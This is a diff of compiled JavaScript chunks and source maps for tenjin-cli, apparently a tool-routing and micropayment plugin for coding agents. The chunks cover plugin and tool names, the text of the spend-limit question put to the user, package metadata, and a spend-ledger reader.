|
@@ -0,0 +1,100 @@
|
|
|
1
|
+
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
|
+
import {
|
|
3
|
+
CHANNEL_DEPOSIT_ATOMIC,
|
|
4
|
+
ROUTING_FEE_ATOMIC,
|
|
5
|
+
unpaidSentence,
|
|
6
|
+
usd
|
|
7
|
+
} from "./chunk-MRUPDSUM.js";
|
|
8
|
+
import {
|
|
9
|
+
toMoney
|
|
10
|
+
} from "./chunk-VVAHFCX2.js";
|
|
11
|
+
|
|
12
|
+
// src/router/names.ts
|
|
13
|
+
var PLUGIN_NAME = "tenjin";
|
|
14
|
+
var MCP_SERVER_NAME = "router";
|
|
15
|
+
var MARKETPLACE_NAME = "tenjin";
|
|
16
|
+
var PLUGIN_ID = `${PLUGIN_NAME}@${MARKETPLACE_NAME}`;
|
|
17
|
+
var SKILLS_DIR_PLUGIN_ID = `${PLUGIN_NAME}@skills-dir`;
|
|
18
|
+
var PLUGIN_SERVER = `plugin:${PLUGIN_NAME}:${MCP_SERVER_NAME}`;
|
|
19
|
+
var TOOL_PREFIX = `mcp__plugin_${PLUGIN_NAME}_${MCP_SERVER_NAME}`;
|
|
20
|
+
var REQUEST_TOOL = `${TOOL_PREFIX}__request`;
|
|
21
|
+
var PLUGIN_HOOK_TOOL = `${TOOL_PREFIX}__hook`;
|
|
22
|
+
var LEGACY_MCP_SERVER_NAME = "x402";
|
|
23
|
+
var LEGACY_REQUEST_TOOL = `mcp__${LEGACY_MCP_SERVER_NAME}__request`;
|
|
24
|
+
var LEGACY_HOOK_TOOL = `mcp__${LEGACY_MCP_SERVER_NAME}__hook`;
|
|
25
|
+
function launchedByPlugin(env = process.env) {
|
|
26
|
+
const root = env.CLAUDE_PLUGIN_ROOT;
|
|
27
|
+
return typeof root === "string" && root.length > 0;
|
|
28
|
+
}
|
|
29
|
+
function requestToolName(env = process.env) {
|
|
30
|
+
return launchedByPlugin(env) ? REQUEST_TOOL : LEGACY_REQUEST_TOOL;
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
// src/router/spend-question.ts
|
|
34
|
+
var ROUTER_DEFAULTS = {
|
|
35
|
+
maxAutoSpend: "250000",
|
|
36
|
+
sessionBudget: "5000000"
|
|
37
|
+
};
|
|
38
|
+
function shownLimits(config) {
|
|
39
|
+
return {
|
|
40
|
+
maxAutoSpend: config.maxAutoSpend ?? ROUTER_DEFAULTS.maxAutoSpend,
|
|
41
|
+
sessionBudget: config.sessionBudget ?? ROUTER_DEFAULTS.sessionBudget
|
|
42
|
+
};
|
|
43
|
+
}
|
|
44
|
+
function limitsUsd(limits) {
|
|
45
|
+
return {
|
|
46
|
+
maxAutoSpend: toMoney(limits.maxAutoSpend).usd,
|
|
47
|
+
sessionBudget: limits.sessionBudget === "none" ? "none" : toMoney(limits.sessionBudget).usd
|
|
48
|
+
};
|
|
49
|
+
}
|
|
50
|
+
function limitsPhrase(limits) {
|
|
51
|
+
const usdOf = limitsUsd(limits);
|
|
52
|
+
const daily = usdOf.sessionBudget === "none" ? "with no daily limit" : `and $${usdOf.sessionBudget} a day`;
|
|
53
|
+
return `up to $${usdOf.maxAutoSpend} a call ${daily}`;
|
|
54
|
+
}
|
|
55
|
+
var ROUTING_FEE_TERMS = `Routing costs $${usd(ROUTING_FEE_ATOMIC)} a call, paid from channel deposits of up to $${usd(CHANNEL_DEPOSIT_ATOMIC)} that stay yours until spent; each deposit counts against these limits.`;
|
|
56
|
+
var ACCEPT_COMMAND = `tenjin config set maxAutoSpend ${toMoney(ROUTER_DEFAULTS.maxAutoSpend).usd}`;
|
|
57
|
+
var OWN_LIMITS_COMMANDS = "`tenjin config set maxAutoSpend <usd>` and `tenjin config set sessionBudget <usd|none>`";
|
|
58
|
+
var FEE_APPROVAL = "Using these limits or choosing your own also approves the routing fee.";
|
|
59
|
+
function spendQuestion(limits) {
|
|
60
|
+
return `May Tenjin pay for tool calls without asking you each time, ${limitsPhrase(limits)}? ${ROUTING_FEE_TERMS} ${FEE_APPROVAL}`;
|
|
61
|
+
}
|
|
62
|
+
function unansweredNotice(limits, reader) {
|
|
63
|
+
const open = "Tenjin pays for nothing on its own yet: the spend limits are not answered.";
|
|
64
|
+
if (reader === "agent") {
|
|
65
|
+
return `${open} Ask the user: ${spendQuestion(limits)} For a yes, run \`${ACCEPT_COMMAND}\`; for other amounts, run ${OWN_LIMITS_COMMANDS}.`;
|
|
66
|
+
}
|
|
67
|
+
return `${open} It can pay for tool calls without asking you each time, ${limitsPhrase(limits)}. ${ROUTING_FEE_TERMS} ${FEE_APPROVAL} To use these limits, run \`${ACCEPT_COMMAND}\`; to choose your own, run ${OWN_LIMITS_COMMANDS}.`;
|
|
68
|
+
}
|
|
69
|
+
function unpaidNotice(why, config, reader) {
|
|
70
|
+
if (why === "limit_below_deposit" && config.maxAutoSpend === void 0) {
|
|
71
|
+
return unansweredNotice(shownLimits(config), reader);
|
|
72
|
+
}
|
|
73
|
+
return unpaidSentence(why);
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
export {
|
|
77
|
+
PLUGIN_NAME,
|
|
78
|
+
MCP_SERVER_NAME,
|
|
79
|
+
MARKETPLACE_NAME,
|
|
80
|
+
PLUGIN_ID,
|
|
81
|
+
SKILLS_DIR_PLUGIN_ID,
|
|
82
|
+
PLUGIN_SERVER,
|
|
83
|
+
REQUEST_TOOL,
|
|
84
|
+
PLUGIN_HOOK_TOOL,
|
|
85
|
+
LEGACY_MCP_SERVER_NAME,
|
|
86
|
+
LEGACY_REQUEST_TOOL,
|
|
87
|
+
LEGACY_HOOK_TOOL,
|
|
88
|
+
launchedByPlugin,
|
|
89
|
+
requestToolName,
|
|
90
|
+
ROUTER_DEFAULTS,
|
|
91
|
+
shownLimits,
|
|
92
|
+
limitsUsd,
|
|
93
|
+
ROUTING_FEE_TERMS,
|
|
94
|
+
ACCEPT_COMMAND,
|
|
95
|
+
OWN_LIMITS_COMMANDS,
|
|
96
|
+
FEE_APPROVAL,
|
|
97
|
+
spendQuestion,
|
|
98
|
+
unpaidNotice
|
|
99
|
+
};
|
|
100
|
+
//# sourceMappingURL=chunk-EWLU46J6.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/router/names.ts","../src/router/spend-question.ts"],"sourcesContent":["/**\n * THE NAMES THE HARNESS KNOWS THE ROUTER BY, spelled once. `install` registers\n * the Claude Code plugin {@link PLUGIN_NAME}, whose MCP server is\n * {@link MCP_SERVER_NAME}, and Claude Code names a plugin's tools\n * `mcp__plugin_<plugin>_<server>__<tool>`. The plugin's hooks, the server's own\n * name and every hint line the hooks inject read these, so a rename moves them\n * together.\n *\n * A module of its own because the hooks need the tool name and must not load\n * `install` to get it: their chunk graph is the product's floor.\n */\nexport const PLUGIN_NAME = 'tenjin';\nexport const MCP_SERVER_NAME = 'router';\n/** The marketplace `install` adds from the package, so the plugin id is `tenjin@tenjin`. */\nexport const MARKETPLACE_NAME = 'tenjin';\nexport const PLUGIN_ID = `${PLUGIN_NAME}@${MARKETPLACE_NAME}`;\n/** The id Claude Code gives the same plugin loaded from a skills-directory folder. */\nexport const SKILLS_DIR_PLUGIN_ID = `${PLUGIN_NAME}@skills-dir`;\n/** How a plugin's `hooks.json` and `claude mcp` name the plugin's own server. */\nexport const PLUGIN_SERVER = `plugin:${PLUGIN_NAME}:${MCP_SERVER_NAME}`;\nconst TOOL_PREFIX = `mcp__plugin_${PLUGIN_NAME}_${MCP_SERVER_NAME}`;\nexport const REQUEST_TOOL = `${TOOL_PREFIX}__request`;\n/** The tool the plugin's hook legs call, which its own deny hook keeps from the model. */\nexport const PLUGIN_HOOK_TOOL = `${TOOL_PREFIX}__hook`;\n\n/**\n * THE SETTINGS-BASED INSTALL'S NAMES, for its migration and nothing else.\n * Releases up to alpha.26 registered the server as `x402` through `claude mcp\n * add` and wrote seven hook entries and two permission rules into settings.json.\n *\n * SHIM: remove on or after 2026-12-01, the first release cut 30 or more days\n * after the plugin PR 2 ships. Doctor keeps naming an unmigrated machine after.\n */\nexport const LEGACY_MCP_SERVER_NAME = 'x402';\nexport const LEGACY_REQUEST_TOOL = `mcp__${LEGACY_MCP_SERVER_NAME}__request`;\nexport const LEGACY_HOOK_TOOL = `mcp__${LEGACY_MCP_SERVER_NAME}__hook`;\n\n/**\n * Is this process one Claude Code launched from the plugin? Claude Code sets\n * `CLAUDE_PLUGIN_ROOT` for a plugin's MCP server and its command hooks\n * (checked on 2.1.296), and not for a server registered in `~/.claude.json`.\n */\nexport function launchedByPlugin(env: NodeJS.ProcessEnv = process.env): boolean {\n const root = env.CLAUDE_PLUGIN_ROOT;\n return typeof root === 'string' && root.length > 0;\n}\n\n/**\n * The request tool's name as THIS process's harness exposes it: the plugin's\n * tool for a server the plugin launched, and the `x402` server's tool for one a\n * settings install launched, so an offer line never names a tool the model\n * does not have.\n *\n * SHIM: the second branch goes on or after 2026-12-01 (see\n * {@link LEGACY_MCP_SERVER_NAME}); the name is then always {@link REQUEST_TOOL}.\n */\nexport function requestToolName(env: NodeJS.ProcessEnv = process.env): string {\n return launchedByPlugin(env) ? REQUEST_TOOL : LEGACY_REQUEST_TOOL;\n}\n","import { toMoney } from '../lib/money';\nimport { CHANNEL_DEPOSIT_ATOMIC, ROUTING_FEE_ATOMIC, unpaidSentence, usd } from './fee';\n\n/**\n * THE SPEND QUESTION, ONE TEXT FOR EVERY PLACE THAT ASKS IT. The selector in a\n * terminal, the question an install that could not ask hands to its agent,\n * doctor's warning and the routing notice all show the same limits, the same\n * routing-fee terms and the same one-step yes, so the agent can put to the\n * user exactly what the selector would have.\n */\n\n/** Absent-only automatic router defaults, in atomic USDC. */\nexport const ROUTER_DEFAULTS = {\n maxAutoSpend: '250000',\n sessionBudget: '5000000',\n} as const;\n\n/** The automatic limits a fresh install fills in, in atomic USDC; `sessionBudget` may be `none`. */\nexport interface RouterLimits {\n maxAutoSpend: string;\n sessionBudget: string;\n}\n\n/** What the question shows: the file's own value where it names one, else the default. */\nexport function shownLimits(config: {\n maxAutoSpend?: string | undefined;\n sessionBudget?: string | undefined;\n}): RouterLimits {\n return {\n maxAutoSpend: config.maxAutoSpend ?? ROUTER_DEFAULTS.maxAutoSpend,\n sessionBudget: config.sessionBudget ?? ROUTER_DEFAULTS.sessionBudget,\n };\n}\n\n/** The limits in USD, as the question shows them. */\nexport function limitsUsd(limits: RouterLimits): { maxAutoSpend: string; sessionBudget: string } {\n return {\n maxAutoSpend: toMoney(limits.maxAutoSpend).usd,\n sessionBudget: limits.sessionBudget === 'none' ? 'none' : toMoney(limits.sessionBudget).usd,\n };\n}\n\n/** \"up to $0.25 a call and $5 a day\" */\nexport function limitsPhrase(limits: RouterLimits): string {\n const usdOf = limitsUsd(limits);\n const daily =\n usdOf.sessionBudget === 'none' ? 'with no daily limit' : `and $${usdOf.sessionBudget} a day`;\n return `up to $${usdOf.maxAutoSpend} a call ${daily}`;\n}\n\n/** The routing fee's terms, as the selector names them. */\nexport const ROUTING_FEE_TERMS = `Routing costs $${usd(ROUTING_FEE_ATOMIC)} a call, paid from channel deposits of up to $${usd(CHANNEL_DEPOSIT_ATOMIC)} that stay yours until spent; each deposit counts against these limits.`;\n\n/**\n * The yes to the limits shown, where the command install ran is not known\n * (doctor, the routing notice, the request tool): the per-call limit only.\n * The daily limit already defaults to the one shown. A bare `install --yes`\n * here would undo a `--project` or `--no-wallet` install; install's own\n * output names that command with its flags instead.\n */\nexport const ACCEPT_COMMAND = `tenjin config set maxAutoSpend ${toMoney(ROUTER_DEFAULTS.maxAutoSpend).usd}`;\n\n/** The commands for limits of the user's own, each in backticks. */\nexport const OWN_LIMITS_COMMANDS =\n '`tenjin config set maxAutoSpend <usd>` and `tenjin config set sessionBudget <usd|none>`';\n\n/** The selector's own line: either answer approves the fee. */\nexport const FEE_APPROVAL =\n 'Using these limits or choosing your own also approves the routing fee.';\n\n/** The question, for the agent to put to the user as written. */\nexport function spendQuestion(limits: RouterLimits): string {\n return `May Tenjin pay for tool calls without asking you each time, ${limitsPhrase(limits)}? ${ROUTING_FEE_TERMS} ${FEE_APPROVAL}`;\n}\n\n/** Who reads a notice: the user, in the hook's `systemMessage`, or the agent,\n * in the request tool's answer. */\nexport type NoticeReader = 'user' | 'agent';\n\n/**\n * The routing notice for a machine whose limits nobody has answered: the\n * question and the one-step yes, put to the user directly, or handed to the\n * agent to ask.\n */\nexport function unansweredNotice(limits: RouterLimits, reader: NoticeReader): string {\n const open = 'Tenjin pays for nothing on its own yet: the spend limits are not answered.';\n if (reader === 'agent') {\n return `${open} Ask the user: ${spendQuestion(limits)} For a yes, run \\`${ACCEPT_COMMAND}\\`; for other amounts, run ${OWN_LIMITS_COMMANDS}.`;\n }\n return `${open} It can pay for tool calls without asking you each time, ${limitsPhrase(limits)}. ${ROUTING_FEE_TERMS} ${FEE_APPROVAL} To use these limits, run \\`${ACCEPT_COMMAND}\\`; to choose your own, run ${OWN_LIMITS_COMMANDS}.`;\n}\n\n/**\n * The routing notice for a call that was not paid: the limits question when\n * the per-call limit is the code default's zero because nobody has answered\n * it, else the reason and fix for `why`.\n */\nexport function unpaidNotice(\n why: string,\n config: { maxAutoSpend?: string | undefined; sessionBudget?: string | undefined },\n reader: NoticeReader,\n): string | null {\n if (why === 'limit_below_deposit' && config.maxAutoSpend === undefined) {\n return unansweredNotice(shownLimits(config), reader);\n }\n return unpaidSentence(why);\n}\n"],"mappings":";;;;;;;;;;;;AAWO,IAAM,cAAc;AACpB,IAAM,kBAAkB;AAExB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,IAAM,sBACX;AAGK,IAAM,eACX;AAGK,SAAS,cAAc,QAA8B;AAC1D,SAAO,+DAA+D,aAAa,MAAM,CAAC,KAAK,iBAAiB,IAAI,YAAY;AAClI;AAWO,SAAS,iBAAiB,QAAsB,QAA8B;AACnF,QAAM,OAAO;AACb,MAAI,WAAW,SAAS;AACtB,WAAO,GAAG,IAAI,kBAAkB,cAAc,MAAM,CAAC,qBAAqB,cAAc,8BAA8B,mBAAmB;AAAA,EAC3I;AACA,SAAO,GAAG,IAAI,4DAA4D,aAAa,MAAM,CAAC,KAAK,iBAAiB,IAAI,YAAY,+BAA+B,cAAc,+BAA+B,mBAAmB;AACrO;AAOO,SAAS,aACd,KACA,QACA,QACe;AACf,MAAI,QAAQ,yBAAyB,OAAO,iBAAiB,QAAW;AACtE,WAAO,iBAAiB,YAAY,MAAM,GAAG,MAAM;AAAA,EACrD;AACA,SAAO,eAAe,GAAG;AAC3B;","names":[]}
|
|
@@ -0,0 +1,115 @@
|
|
|
1
|
+
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
|
+
|
|
3
|
+
// package.json
|
|
4
|
+
var name = "tenjin-cli";
|
|
5
|
+
var version = "0.1.0-alpha.29";
|
|
6
|
+
var type = "module";
|
|
7
|
+
var description = "The tool router for coding agents. Tenjin picks the right tool when your agent needs one, and one wallet pays for every call.";
|
|
8
|
+
var repository = {
|
|
9
|
+
type: "git",
|
|
10
|
+
url: "git+https://github.com/BackTrackCo/tenjin-agent.git"
|
|
11
|
+
};
|
|
12
|
+
var homepage = "https://tenjin.sh/agents";
|
|
13
|
+
var bugs = "https://github.com/BackTrackCo/tenjin-agent/issues";
|
|
14
|
+
var keywords = [
|
|
15
|
+
"claude-code",
|
|
16
|
+
"coding-agents",
|
|
17
|
+
"tool-router",
|
|
18
|
+
"ai-agents",
|
|
19
|
+
"agent-tools",
|
|
20
|
+
"mcp",
|
|
21
|
+
"x402",
|
|
22
|
+
"usdc",
|
|
23
|
+
"base",
|
|
24
|
+
"micropayments",
|
|
25
|
+
"agent-payments",
|
|
26
|
+
"claude",
|
|
27
|
+
"codex",
|
|
28
|
+
"cli"
|
|
29
|
+
];
|
|
30
|
+
var bin = {
|
|
31
|
+
tenjin: "dist/index.js"
|
|
32
|
+
};
|
|
33
|
+
var engines = {
|
|
34
|
+
node: ">=22.0.0"
|
|
35
|
+
};
|
|
36
|
+
var files = [
|
|
37
|
+
"dist",
|
|
38
|
+
"docs",
|
|
39
|
+
"NOTICE.md"
|
|
40
|
+
];
|
|
41
|
+
var packageManager = "pnpm@11.11.0";
|
|
42
|
+
var scripts = {
|
|
43
|
+
build: "rm -rf dist && tsup",
|
|
44
|
+
test: "vitest run",
|
|
45
|
+
typecheck: "tsc --noEmit",
|
|
46
|
+
lint: "eslint .",
|
|
47
|
+
format: "prettier --write .",
|
|
48
|
+
"format:check": "prettier --check .",
|
|
49
|
+
check: "pnpm run build && pnpm run test",
|
|
50
|
+
"sync:skill": "node scripts/sync-skill.mjs",
|
|
51
|
+
"pack-smoke": "bash scripts/pack-smoke.sh",
|
|
52
|
+
changeset: "changeset",
|
|
53
|
+
prepublishOnly: "pnpm run build",
|
|
54
|
+
githooks: "git config core.hooksPath .githooks"
|
|
55
|
+
};
|
|
56
|
+
var devDependencies = {
|
|
57
|
+
"@changesets/cli": "^3.0.3",
|
|
58
|
+
"@clack/prompts": "^1.7.0",
|
|
59
|
+
"@eslint/js": "^10",
|
|
60
|
+
"@modelcontextprotocol/sdk": "1.32.0",
|
|
61
|
+
"@types/node": "^22.20.5",
|
|
62
|
+
"@x402/core": "2.28.0",
|
|
63
|
+
"@x402/evm": "2.28.0",
|
|
64
|
+
"@x402/extensions": "2.28.0",
|
|
65
|
+
"@x402/fetch": "2.28.0",
|
|
66
|
+
ajv: "^8.20.0",
|
|
67
|
+
"ajv-formats": "^3.0.1",
|
|
68
|
+
commander: "^14.0.1",
|
|
69
|
+
eslint: "^10",
|
|
70
|
+
"eslint-config-prettier": "^10",
|
|
71
|
+
"lean-qr": "^2.7.4",
|
|
72
|
+
ox: "0.14.30",
|
|
73
|
+
prettier: "^3",
|
|
74
|
+
tsup: "^8.5.0",
|
|
75
|
+
typescript: "^6",
|
|
76
|
+
"typescript-eslint": "^8",
|
|
77
|
+
viem: "^2.53.1",
|
|
78
|
+
vitest: "^4.1.9",
|
|
79
|
+
zod: "^4.4.3"
|
|
80
|
+
};
|
|
81
|
+
var package_default = {
|
|
82
|
+
name,
|
|
83
|
+
version,
|
|
84
|
+
type,
|
|
85
|
+
description,
|
|
86
|
+
repository,
|
|
87
|
+
homepage,
|
|
88
|
+
bugs,
|
|
89
|
+
keywords,
|
|
90
|
+
bin,
|
|
91
|
+
engines,
|
|
92
|
+
files,
|
|
93
|
+
packageManager,
|
|
94
|
+
scripts,
|
|
95
|
+
devDependencies
|
|
96
|
+
};
|
|
97
|
+
|
|
98
|
+
export {
|
|
99
|
+
name,
|
|
100
|
+
version,
|
|
101
|
+
type,
|
|
102
|
+
description,
|
|
103
|
+
repository,
|
|
104
|
+
homepage,
|
|
105
|
+
bugs,
|
|
106
|
+
keywords,
|
|
107
|
+
bin,
|
|
108
|
+
engines,
|
|
109
|
+
files,
|
|
110
|
+
packageManager,
|
|
111
|
+
scripts,
|
|
112
|
+
devDependencies,
|
|
113
|
+
package_default
|
|
114
|
+
};
|
|
115
|
+
//# sourceMappingURL=chunk-LRCJ2IZ5.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"sources":["../package.json"],"sourcesContent":["{\n \"name\": \"tenjin-cli\",\n \"version\": \"0.1.0-alpha.
|
|
1
|
+
{"version":3,"sources":["../package.json"],"sourcesContent":["{\n \"name\": \"tenjin-cli\",\n \"version\": \"0.1.0-alpha.29\",\n \"type\": \"module\",\n \"description\": \"The tool router for coding agents. Tenjin picks the right tool when your agent needs one, and one wallet pays for every call.\",\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+https://github.com/BackTrackCo/tenjin-agent.git\"\n },\n \"homepage\": \"https://tenjin.sh/agents\",\n \"bugs\": \"https://github.com/BackTrackCo/tenjin-agent/issues\",\n \"keywords\": [\n \"claude-code\",\n \"coding-agents\",\n \"tool-router\",\n \"ai-agents\",\n \"agent-tools\",\n \"mcp\",\n \"x402\",\n \"usdc\",\n \"base\",\n \"micropayments\",\n \"agent-payments\",\n \"claude\",\n \"codex\",\n \"cli\"\n ],\n \"bin\": {\n \"tenjin\": \"dist/index.js\"\n },\n \"engines\": {\n \"node\": \">=22.0.0\"\n },\n \"files\": [\n \"dist\",\n \"docs\",\n \"NOTICE.md\"\n ],\n \"packageManager\": \"pnpm@11.11.0\",\n \"scripts\": {\n \"build\": \"rm -rf dist && tsup\",\n \"test\": \"vitest run\",\n \"typecheck\": \"tsc --noEmit\",\n \"lint\": \"eslint .\",\n \"format\": \"prettier --write .\",\n \"format:check\": \"prettier --check .\",\n \"check\": \"pnpm run build && pnpm run test\",\n \"sync:skill\": \"node scripts/sync-skill.mjs\",\n \"pack-smoke\": \"bash scripts/pack-smoke.sh\",\n \"changeset\": \"changeset\",\n \"prepublishOnly\": \"pnpm run build\",\n \"githooks\": \"git config core.hooksPath .githooks\"\n },\n \"devDependencies\": {\n \"@changesets/cli\": \"^3.0.3\",\n \"@clack/prompts\": \"^1.7.0\",\n \"@eslint/js\": \"^10\",\n \"@modelcontextprotocol/sdk\": \"1.32.0\",\n \"@types/node\": \"^22.20.5\",\n \"@x402/core\": \"2.28.0\",\n \"@x402/evm\": \"2.28.0\",\n \"@x402/extensions\": \"2.28.0\",\n \"@x402/fetch\": \"2.28.0\",\n \"ajv\": \"^8.20.0\",\n \"ajv-formats\": \"^3.0.1\",\n \"commander\": \"^14.0.1\",\n \"eslint\": \"^10\",\n \"eslint-config-prettier\": \"^10\",\n \"lean-qr\": \"^2.7.4\",\n \"ox\": \"0.14.30\",\n \"prettier\": \"^3\",\n \"tsup\": \"^8.5.0\",\n \"typescript\": \"^6\",\n \"typescript-eslint\": \"^8\",\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AAA,EAIA;AAAA,EACA;AAAA,EACA;AAAA,EAgBA;AAAA,EAGA;AAAA,EAGA;AAAA,EAKA;AAAA,EACA;AAAA,EAcA;AAyBF;","names":[]}
|
|
@@ -4,10 +4,10 @@ import {
|
|
|
4
4
|
} from "./chunk-2I4QTOLB.js";
|
|
5
5
|
import {
|
|
6
6
|
external_exports
|
|
7
|
-
} from "./chunk-
|
|
7
|
+
} from "./chunk-VVAHFCX2.js";
|
|
8
8
|
import {
|
|
9
9
|
spendLedgerPath
|
|
10
|
-
} from "./chunk-
|
|
10
|
+
} from "./chunk-SJLTEINJ.js";
|
|
11
11
|
|
|
12
12
|
// src/lib/spend-ledger.ts
|
|
13
13
|
import { readFile } from "node:fs/promises";
|
|
@@ -111,4 +111,4 @@ export {
|
|
|
111
111
|
readLedger,
|
|
112
112
|
readSpendSummary
|
|
113
113
|
};
|
|
114
|
-
//# sourceMappingURL=chunk-
|
|
114
|
+
//# sourceMappingURL=chunk-LX5OT4TQ.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/lib/spend-ledger.ts"],"sourcesContent":["import { readFile } from 'node:fs/promises';\nimport { z } from 'zod';\nimport { hasCode } from './errno';\nimport { spendLedgerPath } from './paths';\n\n/**\n * The spend ledger's READ side: its shape, the two expiries, and a read-only\n * summary. It lives outside `lib/wallet` so the router hooks can measure an\n * offer against the same session total an authorization would, without the\n * wallet entering their chunk graph (`src/router/dist-chunks.test.ts`). The\n * write side, with its lock and reservations, stays in `lib/wallet/spend.ts`.\n */\n\nexport const DEFAULT_WINDOW_MS = 86_400_000; // 24h rolling day\nexport const RESERVATION_TTL_MS = 600_000; // 10 min: a dangling reservation self-expires\n\nconst ReservationSchema = z.object({\n id: z.string(),\n amountAtomic: z.string().regex(/^\\d+$/),\n atMs: z.number(),\n /** Optional so a ledger written by an older build still parses. */\n requestKey: z.string().optional(),\n mode: z.enum(['automatic', 'manual']).optional(),\n});\nexport type Reservation = z.infer<typeof ReservationSchema>;\n\n/**\n * ONE TRANSMITTED AUTHORIZATION, by its EIP-3009 nonce: what it exposed and\n * when, so a payment the chain later proves was never charged can give back\n * exactly its own amount inside the window it was counted in.\n */\nconst ExposureSchema = z.object({\n nonce: z.string(),\n amountAtomic: z.string().regex(/^\\d+$/),\n atMs: z.number(),\n mode: z.enum(['automatic', 'manual']).optional(),\n});\nexport type Exposure = z.infer<typeof ExposureSchema>;\n\nconst LedgerSchema = z.object({\n schemaVersion: z.literal(2),\n windowStartMs: z.number(),\n /**\n * EXPOSURE: every authorization this window transmitted. A signed EIP-3009\n * authorization is a bearer instrument, so total exposure stays recorded,\n * whatever any counterparty later says it took.\n */\n committedAtomic: z.string().regex(/^\\d+$/),\n automaticCommittedAtomic: z.string().regex(/^\\d+$/).optional(),\n /**\n * SETTLED: what counterparties reported actually taking, which the router's\n * waived outcomes made a different number from the line above (2026-09-23\n * lookup contract). Optional so a ledger an older build wrote still parses;\n * absent means \"everything committed was settled\", which is what that build\n * assumed. Reporting only, never a budget input: under-counting exposure\n * because a server said \"no charge\" is exactly the hole this avoids.\n */\n settledAtomic: z.string().regex(/^\\d+$/).optional(),\n reservations: z.array(ReservationSchema),\n /** Optional so a ledger an older build wrote still parses; such a ledger\n * simply has nothing a reconcile can release. */\n exposures: z.array(ExposureSchema).optional(),\n});\nexport type Ledger = z.infer<typeof LedgerSchema>;\n\nexport function emptyLedger(nowMs: number): Ledger {\n return {\n schemaVersion: 2,\n windowStartMs: nowMs,\n committedAtomic: '0',\n automaticCommittedAtomic: '0',\n settledAtomic: '0',\n reservations: [],\n };\n}\n\n/** Automatic exposure plus automatic pending reservations: the budget's input.\n * Legacy records with no mode/counter conservatively count as automatic. */\nexport function spentOf(ledger: {\n committedAtomic: string;\n automaticCommittedAtomic?: string;\n reservations: { amountAtomic: string; mode?: 'automatic' | 'manual' }[];\n}): bigint {\n return ledger.reservations.reduce(\n (sum, r) => sum + (r.mode === 'manual' ? 0n : BigInt(r.amountAtomic)),\n BigInt(ledger.automaticCommittedAtomic ?? ledger.committedAtomic),\n );\n}\n\n/**\n * ABSENT and CORRUPT both reset the window, but they are not the same fact: the\n * first is a first run, the second is spend that existed and is now gone. Only\n * the second is worth telling anyone about, so the two stay distinguishable here\n * rather than collapsing into one null.\n */\ninterface LedgerRead {\n ledger: Ledger | null;\n /** Set only when the file EXISTS and could not be turned back into a ledger. */\n corrupt?: string;\n}\n\nexport async function readLedger(path: string): Promise<LedgerRead> {\n let raw: string;\n try {\n raw = await readFile(path, 'utf8');\n } catch (err) {\n // A missing file is the ordinary first run. Any other read failure means a\n // file is there and unusable, which is the corrupt case by another name.\n if (hasCode(err, 'ENOENT')) return { ledger: null };\n return { ledger: null, corrupt: err instanceof Error ? err.message : String(err) };\n }\n let json: unknown;\n try {\n json = JSON.parse(raw);\n } catch {\n return { ledger: null, corrupt: 'not valid JSON' };\n }\n const parsed = LedgerSchema.safeParse(json);\n if (parsed.success) return { ledger: parsed.data };\n const issue = parsed.error.issues[0];\n const field = issue?.path.join('.');\n const message = issue?.message ?? 'schema mismatch';\n // Field-qualified: \"expected number, received undefined\" names nothing on its\n // own. zod never echoes the received VALUE, so no spend figure rides along.\n return {\n ledger: null,\n corrupt: field !== undefined && field.length > 0 ? `${field}: ${message}` : message,\n };\n}\n\nexport interface SpendSummary {\n windowStartMs: number;\n committedAtomic: string;\n automaticCommittedAtomic?: string;\n reservations: {\n amountAtomic: string;\n atMs: number;\n requestKey?: string;\n mode?: 'automatic' | 'manual';\n }[];\n}\n\n/**\n * The ledger AS AN AUTHORIZATION WOULD SEE IT, for `tenjin status`. Read-only,\n * and it applies the same two expiries the authorizer applies before it\n * evaluates a spend: a rolling window that has run out reads as a fresh one,\n * and reservations past their TTL are gone. Summing the raw file instead\n * reported spend as current, and crashed reservations as open, until the next\n * payment happened to rewrite it.\n *\n * `null` for absent or unreadable, which is the same thing to a report.\n */\nexport async function readSpendSummary(\n dir: string,\n opts: { now?: () => number; windowMs?: number } = {},\n): Promise<SpendSummary | null> {\n const { ledger } = await readLedger(spendLedgerPath(dir));\n if (ledger === null) return null;\n const nowMs = (opts.now ?? Date.now)();\n const windowMs = opts.windowMs ?? DEFAULT_WINDOW_MS;\n if (nowMs - ledger.windowStartMs >= windowMs) return emptyLedger(nowMs);\n return {\n ...ledger,\n reservations: ledger.reservations.filter((r) => nowMs - r.atMs < RESERVATION_TTL_MS),\n 